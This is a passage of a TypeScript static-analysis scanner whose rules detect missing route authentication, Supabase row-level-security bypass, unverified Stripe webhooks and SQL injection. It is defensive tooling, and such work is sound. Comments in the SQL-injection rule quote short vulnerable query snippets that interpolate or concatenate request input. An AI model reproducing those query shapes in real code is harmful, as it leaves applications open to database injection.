/(^|[/_[-])(auth|login|signin|sign-in|signup|sign-up|register|logout|signout|sign-out|callback|oauth|sso|session|csrf|reset-password|forgot-password|forgot|magic-?link|verify-?email|confirm|nextauth|otp|invite|token)([/\\]_.-]|$)/i;\n\nconst EDGE_CRON_PATH_RE = /(^|[/_-])(cron|jobs?|scheduled?|tasks?)([/_.-]|$)/i;\n\nfunction isPublicByDesignEdgePath(filePath: string): boolean {\n return (\n EDGE_PUBLIC_PATH_RE.test(filePath) ||\n EDGE_AUTH_FLOW_PATH_RE.test(filePath) ||\n EDGE_CRON_PATH_RE.test(filePath)\n );\n}\n\n/**\n * Blank the value of a CORS allow-list header before testing for auth hints.\n *\n * Every scaffolded edge function opens with\n * `\"Access-Control-Allow-Headers\": \"authorization, x-client-info, apikey, ...\"`.\n * That string contains two of the hint tokens and appears in *every* function,\n * safe or not, so without this the shape would be suppressed universally and\n * the widening would detect nothing at all. The research classifier gets this\n * for free because it scopes its weak-auth test to the handler body and the\n * CORS constant lives in module scope; a single-file regex rule has to say so\n * explicitly.\n */\nfunction stripCorsHeaderList(codeOnly: string): string {\n return codeOnly.replace(\n /[\"'`]?Access-Control-(?:Allow|Expose)-Headers[\"'`]?\\s*:\\s*[\"'`][^\"'`]*[\"'`]/gi,\n \"\",\n );\n}\n\nexport const missingAuthMiddleware: CustomRule = {\n id: \"VC003\",\n title: \"API Route Missing Authentication\",\n severity: \"high\",\n category: \"Authentication\",\n description: \"API routes without authentication checks allow unauthorized access.\",\n check(content: string, filePath: string, project?: ProjectContext) {\n // Only check files that look like server-side request handlers.\n if (!isServerSideFile(filePath, content)) return [];\n\n // Skip endpoints that are public by definition. Anonymous fetches ARE the\n // feature here: a social crawler unfurling an Open Graph card, a search\n // engine reading app/sitemap.ts, a README <img> pulling a status badge.\n // \"Add an authentication check to this route\" would break the thing the\n // route exists to do, so it is bad advice rather than a finding.\n if (PUBLIC_BY_CONVENTION_ROUTE.test(routeSegmentName(filePath))) return [];\n\n // Look for route handlers without auth checks\n const routePatterns = [\n // Express/Hono style\n /\\.(get|post|put|patch|delete)\\s*\\(\\s*[\"'`][^\"'`]+[\"'`]\\s*,\\s*(?:async\\s+)?\\(?(?:req|c|ctx)/gi,\n // Next.js API routes — named function declaration\n /export\\s+(?:async\\s+)?function\\s+(?:GET|POST|PUT|PATCH|DELETE)\\s*\\(/gi,\n ];\n\n // ── Handler shapes measured as uncaught on the `wedge` corpus ──\n //\n // 174 real apps, 2,908 handlers. Of 231 class-A/B handlers the rule set\n // missed, 221 (95.7%) were missed for one reason: shape_gate — \"the rule\n // never fires because it does not know this form\". Not bad judgement about\n // auth, just an unrecognised way of declaring an endpoint. Per framework:\n //\n // next-app-route 147 A+B 147 flagged already solved\n // supabase-edge 143 A+B 17 flagged see the edge block below\n // express 52 A+B 36 flagged\n // deno-serve 49 A+B 0 flagged\n // vercel-api 20 A+B 0 flagged\n // server-action 15 A+B 0 flagged\n //\n // Each shape below is path- or content-gated, never matched on a bare\n // token, because the generic forms (`export default`, `export function X`)\n // are ordinary in files that are not endpoints at all.\n\n // Vercel serverless functions: `api/whatever.ts` at the project root with a\n // default export. Explicitly NOT Next's app/ or pages/ trees — those are\n // handled above and below, and double-matching would report one endpoint\n // twice.\n const VERCEL_API_FN_RE = /(?:^|\\/)api\\/[^/]+\\.(?:m?[jt]s)$/;\n const isNextTree = /(?:^|\\/)(?:src\\/)?(?:app|pages)\\//.test(filePath);\n if (VERCEL_API_FN_RE.test(filePath) && !isNextTree) {\n routePatterns.push(\n /export\\s+default\\s+(?:async\\s+)?(?:function\\b|\\()/g,\n /module\\.exports\\s*=\\s*(?:async\\s+)?(?:function\\b|\\()/g,\n );\n }\n\n // Next.js server actions. A file-level \"use server\" makes EVERY exported\n // function a callable POST endpoint — no route file, no URL in the repo,\n // invisible to any scanner that works from routes. Gated on the directive\n // itself, so nothing here fires on an ordinary module.\n //\n // Matching every export is the correct reading rather than an\n // over-reach: in a \"use server\" file that is precisely what each export\n // is. The auth check is per-handler (see handlerHasAuth), so an\n // authenticated action in the same file is not reported.\n // `content`, not `codeOnly`: the latter is declared further down, and the\n // directive form requires quotes at the start of a line, so a commented\n // \"use server\" cannot match it anyway.\n if (/^\\s*[\"']use server[\"']/m.test(content)) {\n routePatterns.push(\n /export\\s+(?:async\\s+)?function\\s+\\w+\\s*\\(/g,\n /export\\s+const\\s+\\w+\\s*(?::[^=\\n]{0,120})?=\\s*(?:async\\s*)?\\(/g,\n );\n }\n\n // Netlify functions and other edge handlers that live under a functions/\n // directory. Deliberately path-gated and NOT widened to a bare\n // `Deno.serve(` anywhere in a server-side file: the comment on the\n // Supabase block below records that exact widening firing on a local dev\n // proxy, an MCP transport and a `server/main.ts` bootstrap. A conventional\n // functions directory is the signal that separates an endpoint from a\n // process that merely listens.\n const EDGE_FN_DIR_RE =\n /(?:^|\\/)(?:netlify\\/(?:edge-)?functions|functions|edge-functions)\\/[^/]+\\/?[^/]*\\.(?:m?[jt]s)$/;\n if (EDGE_FN_DIR_RE.test(filePath) && !SUPABASE_EDGE_FN_RE.test(filePath)) {\n routePatterns.push(\n /(?:exports\\s*\\.\\s*handler|export\\s+const\\s+handler)\\s*(?::[^=\\n]{0,120})?=\\s*(?:async\\s*)?(?:function\\b|\\()/g,\n /export\\s+default\\s+(?:async\\s+)?(?:function\\b|\\()/g,\n );\n }\n\n // Next.js App Router handlers written as exported arrow constants.\n // `export const GET = async (req) => {}` is the same endpoint with the same\n // exposure as `export async function GET`, and the rule saw only the\n // declaration form.\n //\n // Gated on the path being an actual App Router route file, unlike the\n // declaration form above. `export const GET = (url) => request(\"GET\", url)`\n // is a perfectly ordinary thing to find in a frontend HTTP helper — and\n // `src/api/http.ts` satisfies isServerSideFile via its `api/` segment — so\n // matching the token alone would have put a high-severity auth finding on\n // client-side fetch wrappers.\n if (/(?:^|\\/)(?:src\\/)?app\\/(?:.*\\/)?route\\.(?:m?[jt]sx?)$/.test(filePath)) {\n routePatterns.push(\n /export\\s+const\\s+(?:GET|POST|PUT|PATCH|DELETE)\\s*(?::[^=\\n]{0,120})?=\\s*(?:async\\s*)?(?:function\\b|\\()/g,\n );\n }\n\n // Skip test files\n if (isTestFile(filePath)) return [];\n // Skip non-code files\n if (filePath.match(/\\.(md|txt|rst|html|css|json|yaml|yml)$/)) return [];\n\n // Skip routes that are intentionally unauthenticated\n const isAuthRoute = /\\/auth\\/|\\/login|\\/signup|\\/register|\\/logout|\\/password\\/|\\/forgot|\\/reset/i.test(filePath);\n if (isAuthRoute) return [];\n\n // Skip webhook receivers (they use their own auth: HMAC, shared secrets, etc.)\n //\n // Written as a UNION on purpose, and it must stay one.\n //\n // The first alternative is the original test, unchanged. The second adds\n // the hyphenated one-directory-per-function layout that serverless\n // platforms produce — `supabase/functions/stripe-webhook/index.ts`,\n // `netlify/functions/clerk-webhook.ts` — which a leading-slash test never\n // matched.\n //\n // Replacing the first with the second, which is what this started life as,\n // is a REGRESSION and not a widening: the second alternative's trailing\n // `[/_.-]|$` class rejects an uppercase next character, so `webhookHandler.ts`,\n // `webhookRouter.ts`, `webhooksController.ts` and `webhookV2.ts` — all\n // skipped since the rule was written — started earning a fresh\n // high-severity finding. Six such paths are pinned in the superset test in\n // packages/cli/src/__tests__/custom-rules.test.ts. Keeping both halves is\n // what makes \"strictly more paths are skipped than before\" true by\n // construction rather than by argument.\n const isWebhookRoute =\n /\\/webhook/i.test(filePath) || /(?:^|[/_-])webhooks?(?:[/_.-]|$)/i.test(filePath);\n if (isWebhookRoute) return [];\n\n // Strip line + block comments before the auth check — otherwise a\n // comment like \"// no auth check\" suppresses the rule on the very\n // file the rule was supposed to flag.\n const codeOnly = content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, \"\")\n .replace(/(^|[^:])\\/\\/.*$/gm, \"$1\")\n .replace(/^\\s*#.*$/gm, \"\");\n\n const authPatterns = [\n /\\bgetUser\\b/i, /\\bcurrentUser\\b/i, /\\bisAuthenticated\\b/i,\n /\\brequire\\w*Auth\\b/i, /\\brequireUser\\b/i, /\\brequireUserForApi\\b/i,\n /\\bwithAuth\\b/i, /\\bgetServerSession\\b/i, /\\bgetToken\\b/i,\n /\\bverifyToken\\b/i, /\\bvalidateToken\\b/i, /\\bcheckApiKey\\b/i,\n /\\bverifyCronSecret\\b/i, /\\bverifySecret\\b/i,\n /supabase\\.auth/i, /firebase\\.auth/i,\n /\\bclerk\\b/i, /\\bpassport\\b/i, /\\bcognito\\b/i,\n /\\bauth\\(\\)/i, /req\\.user\\b/i, /req\\.session\\.\\w+/i,\n /\\bjwt\\.verify\\b/i, /\\bbearer\\s/i,\n /\\b(?:protect|guard)\\(/i,\n /\\.use\\([^)]*(?:auth|session|protect|requireAuth)/i,\n // A handler that can answer HTTP 401 is, by definition, deciding whether\n // the caller is allowed in. This catches the whole family of\n // capability-token flows the named patterns above miss — magic links,\n // share links, unsubscribe links, invite/claim URLs — where there is no\n // session and no account, and the unguessable token in the request IS\n // the credential, checked by a bespoke lookup like\n // `findShareByToken(slug, token)`.\n //\n // 401 only, deliberately not 403. 401 means \"I could not authenticate\n // you\"; 403 is routinely returned by things that never identified the\n // caller at all — an Origin allowlist on an anonymous analytics beacon,\n // a feature flag, a geo block. Accepting 403 would suppress genuinely\n // unauthenticated routes.\n /\\bstatus(?:Code)?\\s*[:(]\\s*401\\b/,\n /\\bsendStatus\\s*\\(\\s*401\\b/,\n ];\n\n // Auth signals split by the scope they can credibly protect.\n //\n // APP-LEVEL signals plausibly cover every handler in the file: middleware\n // mounted on the router, a Passport strategy, a Clerk middleware config, a\n // withAuth() wrapper around the export. Whole-file is the right question\n // for these, and they keep the original behaviour exactly.\n //\n // Everything else protects only the handler it appears in. Testing those\n // against the whole file is what produced the recall problem this fixes:\n // ONE protected handler made every OTHER handler in the same file\n // unflaggable, no matter how far away or how unrelated. A file with a\n // session check in its GET and nothing at all in its DELETE reported\n // clean.\n const APP_LEVEL_AUTH = [\n /\\.use\\([^)]*(?:auth|session|protect|requireAuth)/i,\n /\\bpassport\\b/i,\n /\\bclerk\\b/i,\n /\\bwithAuth\\b/i,\n ];\n if (APP_LEVEL_AUTH.some((p) => p.test(codeOnly))) return [];\n\n const handlerAuthPatterns = authPatterns.filter(\n (p) => !APP_LEVEL_AUTH.some((a) => a.source === p.source),\n );\n\n // Masked, not stripped, so indices still line up with `content` and the\n // handler slice below lands on the right bytes.\n const maskedForScope = maskComments(content);\n\n /**\n * Is the handler containing `index` authenticated?\n *\n * Falls back to the whole file when no handler can be identified. That\n * direction is deliberate: a parse failure then reproduces today's\n * behaviour and suppresses, rather than inventing a high-severity auth\n * finding on a file this cannot read. A missed finding is recoverable; a\n * wrong critical on a customer's dashboard is not.\n */\n const handlerHasAuth = (index: number): boolean => {\n // A route match lands on the DECLARATION (`export async function\n // DELETE(req) {`), which sits OUTSIDE the handler's braces. Walking\n // outward from there finds no enclosing block at all, enclosingHandler\n // returns null, and the whole-file fallback silently restores the very\n // behaviour being fixed. Probe from just inside the body instead.\n const bodyStart = maskedForScope.indexOf(\"{\", index);\n const probe = bodyStart === -1 ? index : bodyStart + 1;\n const scope = enclosingHandler(maskedForScope, probe);\n if (scope === null) return handlerAuthPatterns.some((p) => p.test(codeOnly));\n return handlerAuthPatterns.some((p) => p.test(scope));\n };\n\n const matches: RuleMatch[] = [];\n for (const pattern of routePatterns) {\n matches.push(\n ...findMatches(content, pattern, missingAuthMiddleware, filePath, () =>\n \"Add authentication middleware to protect this route. Check the user's session/token before processing the request. If the endpoint is public by design (an OG image, an embeddable badge, a health check), add an inline `// VC003-OK: <reason>` comment above the handler to silence.\"\n ),\n );\n }\n\n // Supabase Edge Function entry point. Held to a stricter bar than the\n // shapes above — four gates, all of which must hold:\n //\n // 1. the path is `supabase/functions/<name>/…`, the shape the finding\n // text and the fix advice actually describe;\n // 2. `authPatterns` found nothing;\n // 3. the path is not public-by-design, an auth flow, or cron-like;\n // 4. none of the weak identity hints appear anywhere in the file.\n //\n // An edge function that so much as reads the Authorization header is left\n // alone. A wrong high-severity auth finding on a customer's dashboard costs\n // far more than a miss, and this shape has no calibration history yet.\n //\n // Gate 1 is not redundant with `isServerSideFile`. Without it the shape\n // fired on any server-side-looking file containing `Deno.serve(` — a local\n // dev proxy, an MCP transport, a `server/main.ts` bootstrap — and told the\n // author to fix it with a Supabase client they do not have.\n //\n // Only when nothing else in the file matched. A Hono app served by\n // `Deno.serve(app.fetch)` already had each of its unauthenticated routes\n // flagged above; adding the bootstrap line as well would report the same\n // missing check twice and inflate the finding count.\n if (\n matches.length === 0 &&\n SUPABASE_EDGE_FN_RE.test(filePath) &&\n isDenoEdgeEntry(codeOnly) &&\n !isPublicByDesignEdgePath(filePath)\n ) {\n // Cross-file evidence from supabase/config.toml, when the caller\n // supplied a ProjectContext.\n //\n // `verify_jwt` decides whether the PLATFORM validates a JWT before this\n // function is ever invoked, and it is the single most decisive fact\n // about an edge function's exposure. It is also impossible to see from\n // the function's own source, which is why this rule needed cross-file\n // support rather than a wider pattern.\n //\n // It cuts both ways, and the suppressing direction matters more:\n //\n // true — Supabase rejects unauthenticated callers before the handler\n // runs. The endpoint IS authenticated, whatever the body\n // looks like, so reporting \"missing authentication\" would be\n // a false positive. 30 of the 82 function declarations in the\n // wedge corpus are in this state.\n // false — the platform gate is off. The function is reachable by\n // anyone, and a weak hint like merely reading the\n // Authorization header is not a check. The weak-hint\n // suppression below is skipped.\n // absent — unknown, not false. Supabase defaults to true, but a\n // function missing from config.toml may simply be undeclared,\n // so behaviour is unchanged from before this signal existed.\n const fnName = supabaseFunctionName(filePath);\n const verifyJwt =\n fnName && project?.supabaseEdgeVerifyJwt\n ? project.supabaseEdgeVerifyJwt.get(fnName)\n : undefined;\n\n if (verifyJwt !== true) {\n const withoutCors = stripCorsHeaderList(codeOnly);\n const hasWeakHint =\n verifyJwt === false\n ? false\n : EDGE_WEAK_AUTH_HINTS.some((p) => p.test(withoutCors));\n if (!hasWeakHint) {\n matches.push(\n ...findMatches(content, DENO_EDGE_ENTRY_RE, missingAuthMiddleware, filePath, () =>\n \"This edge function does not establish who is calling it. Read the caller's token from the Authorization header and resolve it (`const { data: { user } } = await supabase.auth.getUser(token)`), or build the Supabase client with that token so row-level security scopes every query to the caller. If the endpoint is public by design, add an inline `// VC003-OK: <reason>` comment above the handler to silence.\"\n ),\n );\n }\n }\n }\n // Some endpoints are unauthenticated on purpose — an OG image, an\n // embeddable badge, a public health check. The rule strips comments\n // before its auth-pattern scan precisely so a stray \"// no auth needed\"\n // can't suppress it, which leaves an explicit, rule-scoped marker as the\n // only honest escape valve. isInlineSilenced's own rationale already\n // names VC003 as a rule that needs one; it just was never wired up here,\n // so the `// VC003-OK:` comment our README tells users to write did\n // nothing on the one rule most likely to need it.\n // Drop any match whose own handler is authenticated. Until now a single\n // protected handler exempted the whole file; this is the change that makes\n // per-handler recall possible.\n //\n // Line -> index via a precomputed table so this stays O(content) rather\n // than re-scanning per match.\n const lineStarts: number[] = [0];\n for (let i = 0; i < content.length; i++) {\n if (content[i] === \"\\n\") lineStarts.push(i + 1);\n }\n const indexOfLine = (line: number): number =>\n lineStarts[Math.max(0, Math.min(line - 1, lineStarts.length - 1))];\n\n const unauthenticated = matches.filter((m) => !handlerHasAuth(indexOfLine(m.line)));\n\n return filterSilenced(unauthenticated, content, \"VC003\");\n },\n};\n\n/**\n * Route names whose meaning is fixed by a framework file convention or a\n * long-standing web convention, and which are therefore fetched anonymously\n * on purpose. Used by VC003.\n *\n * Deliberately short: only names whose meaning a framework or the web fixes\n * for you. `health`, `status`, `feed` and friends are NOT here — each of those\n * legitimately serves per-tenant data in some apps.\n */\nconst PUBLIC_BY_CONVENTION_ROUTE =\n /^(?:og|opengraph-image|twitter-image|icon|apple-icon|favicon|sitemap|robots|manifest|badge)(?:[.-]\\w+)?$/i;\n\n/**\n * The name a route is addressed by.\n *\n * Next.js App Router puts the handler in `route.ts` and the URL segment in the\n * parent directory (`app/api/og/route.tsx` → \"og\",\n * `app/trust/[slug]/badge.svg/route.ts` → \"badge.svg\"). Everything else is\n * named by its own file (`app/sitemap.ts` → \"sitemap\").\n */\nfunction routeSegmentName(filePath: string): string {\n const segments = filePath.split(\"/\");\n const base = segments[segments.length - 1] ?? \"\";\n if (/^route\\.(?:ts|tsx|js|jsx|mjs|cjs)$/i.test(base)) {\n return segments[segments.length - 2] ?? \"\";\n }\n return base.replace(/\\.[^.]+$/, \"\");\n}\n\nexport const supabaseNoRLS: CustomRule = {\n id: \"VC004\",\n title: \"Supabase Client Without Row Level Security\",\n severity: \"critical\",\n category: \"Authorization\",\n description: \"Using Supabase with the service role key or bypassing RLS exposes all database rows to any user.\",\n check(content, filePath) {\n const matches: RuleMatch[] = [];\n\n // Service role key used in client-side code\n if (\n /supabase_service_role|service_role_key/i.test(content) &&\n (/[\"']use client[\"']/.test(content) || filePath.match(/\\.(jsx|tsx|vue|svelte)$/))\n ) {\n matches.push(\n ...findMatches(\n content,\n /service_role/gi,\n supabaseNoRLS,\n filePath,\n () => \"Never expose the service_role key in client-side code. Use the anon key with RLS policies instead.\",\n ),\n );\n }\n\n // .rpc() or direct table access without .auth\n if (/createClient/i.test(content) && /\\.from\\(/.test(content)) {\n const hasRLSBypass = /\\.rpc\\(|auth\\.admin|service_role/i.test(content);\n if (hasRLSBypass) {\n matches.push(\n ...findMatches(\n content,\n /\\.rpc\\(|auth\\.admin/gi,\n { ...supabaseNoRLS, title: \"Supabase RLS Bypass Detected\" },\n filePath,\n () => \"Ensure RLS policies are enabled on all tables and avoid bypassing them with service_role or admin methods in user-facing code.\",\n ),\n );\n }\n }\n\n return matches;\n },\n};\n\nexport const stripeWebhookUnprotected: CustomRule = {\n id: \"VC005\",\n title: \"Unprotected Stripe Webhook Endpoint\",\n severity: \"critical\",\n category: \"Payment Security\",\n description: \"Stripe webhook endpoints without signature verification allow attackers to fake payment events.\",\n check(content, filePath) {\n // Only scan code files, never docs/README/markdown/lock files\n if (!filePath.match(/\\.(js|ts|jsx|tsx|py|rb|go|java|php)$/)) return [];\n if (isTestFile(filePath)) return [];\n\n /**\n * Comments are prose, not code.\n *\n * Every content test below ran against the RAW file, so a sentence about\n * Stripe made a file look like a Stripe integration and a sentence quoting\n * an event name made it look like a webhook handler. That is not\n * hypothetical: a change to /api/billing/change-plan — an authenticated\n * user action that calls the Stripe API and is not a webhook at all — was\n * reported as a CRITICAL unprotected webhook because a comment explaining\n * the downgrade flow mentioned `customer.subscription.updated`.\n *\n * It cuts both ways. A comment containing the word `constructEvent` would\n * have suppressed the finding on a genuinely unprotected webhook.\n *\n * maskComments blanks comments while preserving every byte offset, which\n * matters here because the handler patterns below report a line number.\n * Its own doc comment describes this exact class — the rule simply never\n * used it.\n */\n const code = maskComments(content);\n\n // The PATH is evidence, not just the body.\n //\n // This rule used to require the literal string \"stripe\" inside the file,\n // which silently excluded the single most common shape AI builders emit:\n // a Next.js App Router handler at app/api/webhooks/stripe/route.ts that\n // reads the event and dispatches on it without ever naming Stripe. The\n // directory carries the identity; the code does not have to. A critical\n // payment rule that cannot see the default modern layout is close to no\n // rule at all — VC003 learned the same lesson about handler shapes.\n const pathSaysStripeWebhook =\n /(?:^|\\/)(?:stripe[_-]?webhooks?|webhooks?[_-]?stripe)(?:\\/|\\.|$)/i.test(filePath) ||\n /webhooks?\\/stripe/i.test(filePath) ||\n /stripe\\/webhooks?/i.test(filePath);\n\n // Must actually reference Stripe (not just generic \"webhook\")\n if (!/stripe/i.test(code) && !pathSaysStripeWebhook) return [];\n\n // Must have a webhook handler pattern (route definition or event handling).\n // A path of .../webhooks/stripe/route.ts IS that evidence — requiring the\n // body to also say \"webhook\", or to name one of four hardcoded event\n // types, is what kept case C below silent.\n const hasStripeWebhookHandler =\n pathSaysStripeWebhook ||\n /(?:stripe.*webhook|webhook.*stripe)/i.test(code) ||\n /(?:checkout\\.session\\.completed|invoice\\.paid|payment_intent|customer\\.subscription)/i.test(code);\n if (!hasStripeWebhookHandler) return [];\n\n // Already has signature verification — safe.\n //\n // The trailing alternative covers verification extracted into a helper —\n // `await verifyStripeWebhook(req)` — which is common once a project has\n // more than one webhook and is not a reason to report it. It requires the\n // call to name BOTH the act and the subject, so a plain `verifyUser()`\n // in a webhook handler does not suppress the finding.\n if (\n /constructEvent|verifyHeader|stripe[_-]?signature|webhook[_-]?secret|STRIPE_WEBHOOK_SECRET/i.test(code) ||\n /\\b\\w*verif\\w*\\s*\\(/i.test(code) && /\\bverif\\w*(?:stripe|webhook|signature|sig)\\w*\\s*\\(/i.test(code)\n ) return [];\n\n // Find the actual route handler, not every mention of \"webhook\"\n const handlerPatterns = [\n // POST handler that processes Stripe events\n /export\\s+(?:async\\s+)?function\\s+POST\\s*\\(/g,\n // The same handler written as an exported arrow or function expression:\n // export const POST = async (req) => { … }\n // Added alongside the same shape in VC003 (#648); without it an App\n // Router webhook written in the arrow style was invisible.\n /export\\s+const\\s+POST\\s*(?::[^=]+)?=\\s*(?:async\\s*)?(?:\\([^)]*\\)|[A-Za-z_$][\\w$]*)\\s*=>/g,\n // Express-style Stripe webhook route\n /\\.(post|all)\\s*\\(\\s*[\"'`][^\"'`]*(?:stripe|webhook)[^\"'`]*[\"'`]/gi,\n // Event type checking without prior verification\n /(?:event\\.type|req\\.body\\.type)\\s*===?\\s*[\"'`](?:checkout|invoice|payment|customer)\\./g,\n ];\n\n const matches: RuleMatch[] = [];\n for (const pattern of handlerPatterns) {\n matches.push(\n ...findMatches(code, pattern, stripeWebhookUnprotected, filePath, () =>\n \"Verify the Stripe webhook signature using stripe.webhooks.constructEvent(body, sig, webhookSecret) to prevent forged payment events.\"\n ),\n );\n }\n return matches;\n },\n};\n\n/**\n * Every identifier in the file that ENDS with `placeholder`/`placeholders`,\n * matched at the start of the identifier so the capture is the whole name.\n * Group 1 is the prefix, group 2 the trailing word.\n */\nconst PLACEHOLDER_IDENT_RE = /(?<![\\w$])([\\w$]*?)(placeholders?)(?![\\w$])/gi;\n\n/**\n * Does the file build a run of `?` placeholders in a named variable?\n *\n * A variable-length `IN (...)` clause has no parameterized form, so the\n * idiom — in SQLite/libSQL especially — is to build the run separately and\n * bind every value:\n *\n * const ENTITLED_STATUSES_PLACEHOLDERS = STATUSES.map(() => \"?\").join(\", \");\n * db.execute({\n * sql: `SELECT … WHERE status IN (${ENTITLED_STATUSES_PLACEHOLDERS})`,\n * args: [...STATUSES],\n * });\n *\n * Interpolating that is not injection: by construction the value is `?, ?, ?`\n * and the data still travels as bound arguments.\n *\n * The name counts only when `placeholder(s)` is its LAST segment, at a real\n * segment boundary — the start of the name, after `_`/`$`, or at a camelCase\n * hump. So `placeholders`, `PLACEHOLDERS`, `statusPlaceholders`,\n * `row_placeholders` and `ENTITLED_STATUSES_PLACEHOLDERS` all qualify, where\n * before only a name that was exactly `placeholder(s)` did.\n *\n * A name that merely CONTAINS the word keeps being judged on its own merits:\n * `placeholdersAndValues` and `unsafePlaceholdersConcat` still get scanned.\n * That line is deliberate. The trailing segment is the whole claim being\n * made — that the variable IS the `?` run. Once something follows it, the\n * value is some other thing assembled out of placeholders (a whole clause, a\n * concatenation, a values list), and an inlined value list is exactly what\n * would hide there. Naming alone is weak evidence, so we spend it only where\n * it is unambiguous.\n */\nfunction namesPlaceholderRun(content: string): boolean {\n PLACEHOLDER_IDENT_RE.lastIndex = 0;\n let m: RegExpExecArray | null = PLACEHOLDER_IDENT_RE.exec(content);\n for (; m !== null; m = PLACEHOLDER_IDENT_RE.exec(content)) {\n const prefix = m[1];\n // `placeholders`, `${placeholders}`, `row.placeholders`\n if (prefix === \"\") return true;\n const boundary = prefix[prefix.length - 1];\n // `ENTITLED_STATUSES_PLACEHOLDERS`, `row_placeholders`\n if (boundary === \"_\" || boundary === \"$\") return true;\n // camelCase hump: `statusPlaceholders`, `rowPlaceHolders`\n if (/[a-z0-9]/.test(boundary) && /[A-Z]/.test(m[2][0])) return true;\n }\n return false;\n}\n\nexport const sqlInjection: CustomRule = {\n id: \"VC006\",\n title: \"Potential SQL Injection\",\n severity: \"critical\",\n category: \"Injection\",\n description: \"String concatenation or template literals in SQL queries allow attackers to execute arbitrary database commands.\",\n check(content, filePath) {\n const patterns = [\n // Template literal passed as first arg to query/execute/raw/sql/\n // queryRaw/queryRawUnsafe/execute. Examples that SHOULD fire:\n // db.query(`SELECT ... ${x}`)\n // prisma.$queryRawUnsafe(`... ${x}`)\n // knex.raw(`... ${x}`)\n /(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\\s*\\(\\s*`[^`]*\\$\\{/gi,\n // String concatenation in SQL — now includes raw() and sql() and\n // Drizzle's sql.raw() / Prisma's $queryRawUnsafe() variants. Previous\n // version only covered query()/execute() and missed knex.raw(\"...\" + x).\n //\n // The string literal part uses a proper \"quoted string\" regex that\n // allows the opposite quote type inside (common in SQL — \"WHERE x = 'a'\").\n // The older `[^\"']*` class bailed out at the first inner quote and\n // missed every realistic SQL-containing concat.\n /(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\\s*\\(\\s*(?:\"(?:[^\"\\\\]|\\\\.)*\"|'(?:[^'\\\\]|\\\\.)*')\\s*\\+/gi,\n // Direct variable interpolation in a SQL string literal. Requires the\n // verb to START a quoted/backtick literal AND be followed — within the\n // same literal — by a SQL structural keyword (FROM/SET/WHERE/…), then a\n // `${` interpolation. The structural keyword is what distinguishes a\n // real query from ordinary prose: the previous pattern matched any\n // SELECT/UPDATE/… word anywhere on a line followed by `${`, so UI copy\n // like `UPDATE your profile settings ${name}` flagged as a CRITICAL SQL\n // injection. Real queries (\"SELECT … FROM …\", \"UPDATE … SET …\") always\n // carry a second structural keyword; sentences almost never do.\n /[\"'`]\\s*(?:SELECT|INSERT|UPDATE|DELETE)\\b[^\"'`\\n]*\\b(?:FROM|INTO|SET|VALUES|WHERE|JOIN|RETURNING)\\b[^\"'`\\n]*\\$\\{(?!.*parameterized)/gi,\n ];\n\n const matches: RuleMatch[] = [];\n\n // Skip if using parameterized queries / prepared statements.\n //\n // A named `?`-run (see namesPlaceholderRun) is the other half of this\n // skip; it carries its own explanation of which names qualify.\n //\n // Also accept multi-? sequences within a single SQL clause — patterns\n // like `LIMIT ? OFFSET ?` with no comma between them weren't catching\n // the `\\?\\s*,` test. The `\\?[^?,;]*\\?` form matches two question marks\n // separated by SQL keywords (LIMIT/OFFSET/AND/etc.) but not by a\n // statement separator.\n //\n // The placeholder forms are looked for INSIDE SQL string literals only.\n // Tested against the whole file, `:[\\w]+` matched every Express route\n // parameter (\"/api/users/:id\"), port (\"localhost:3000\") and `a?b:c`\n // ternary, so the rule returned nothing for most Express files — including\n // a textbook db.query(`SELECT … ${req.params.id}`) on the homepage demo.\n const sqlLiterals = (content.match(/'(?:[^'\\\\\\n]|\\\\.)*'|\"(?:[^\"\\\\\\n]|\\\\.)*\"|`(?:[^`\\\\]|\\\\.)*`/g) ?? []).filter(\n (lit) => /\\b(?:SELECT|INSERT|UPDATE|DELETE)\\b[\\s\\S]*\\b(?:FROM|INTO|SET|VALUES|WHERE)\\b/i.test(lit),\n );\n const usesParams =\n /\\bprepare\\b/i.test(content) ||\n sqlLiterals.some((lit) => /\\?\\s*,|\\?[^?,;]{1,20}\\?|\\$\\d+|:[A-Za-z_]\\w*|@[A-Za-z_]\\w*|=\\s*\\?/.test(lit));\n // Comments are stripped before the name check: a comment that merely says\n // \"placeholders\" is not a variable holding a `?` run.\n const code = content.replace(/\\/\\*[\\s\\S]*?\\*\\//g, \" \").replace(/(^|[^:\"'`\\\\])\\/\\/.*$/gm, \"$1\");\n if (usesParams || namesPlaceholderRun(code)) return [];\n\n for (const pattern of patterns) {\n const raw = findMatches(content, pattern, sqlInjection, filePath, () =>\n \"Use parameterized queries or prepared statements instead of string interpolation. Example: db.query('SELECT * FROM users WHERE id = ?', [userId])\"\n );\n\n // Filter out safe tagged-template forms. These look like `Prisma.sql`...``\n // or Drizzle's `sql\\`...\\`` — both bind ${...} as query parameters\n // rather than concatenating. Previously the VC006 regex fired a FP\n // when these were nested inside `prisma.$queryRaw(Prisma.sql\\`...\\`)`\n // because the outer call's backtick/template looked like a dynamic SQL\n // string.\n //\n // Heuristic: if the line contains Prisma.sql`` or Drizzle's sql`` OR\n // the enclosing call is a KNOWN SAFE wrapper (e.g. $queryRaw WITHOUT\n // \"Unsafe\" suffix), skip the finding.\n for (const m of raw) {\n const lineText = content.split(\"\\n\")[m.line - 1] || \"\";\n // Prisma.sql tagged template — safe\n if (/\\bPrisma\\.sql\\s*`/.test(lineText)) continue;\n // Drizzle's sql`...` tagged template — safe (NOT sql.raw(), which is\n // unsafe and flagged by a different pattern above)\n if (/\\bsql\\s*`/.test(lineText) && !/\\bsql\\.raw\\s*\\(/.test(lineText)) continue;\n // Safe Prisma helpers — $queryRaw/$executeRaw (without Unsafe suffix)\n // always take a Prisma.sql tagged template; if the dev used one of\n // the unsafe variants the regex above will still flag them.\n if (/\\$queryRaw\\s*\\(\\s*Prisma\\.sql|\\$executeRaw\\s*\\(\\s*Prisma\\.sql/.test(lineText)) continue;\n // Several patterns can match one query (db.query(`SELECT … ${x}`) hits\n // both the call pattern and the literal pattern). One line, one\n // finding: the web scanner doesn't dedupe, so the duplicate was shown\n // twice and counted twice against the grade.\n if (matches.some((x) => x.line === m.line)) continue;\n matches.push(m);\n }\n }\n\n // --- AST layer: query/execute calls whose argument traces to user input ---\n // Catches the indirected form the regex layers can't see:\n // var q = \"SELECT ... WHERE login='\" + req.body.login + \"'\";\n // db.sequelize.query(q)\n // The taint map already propagates through 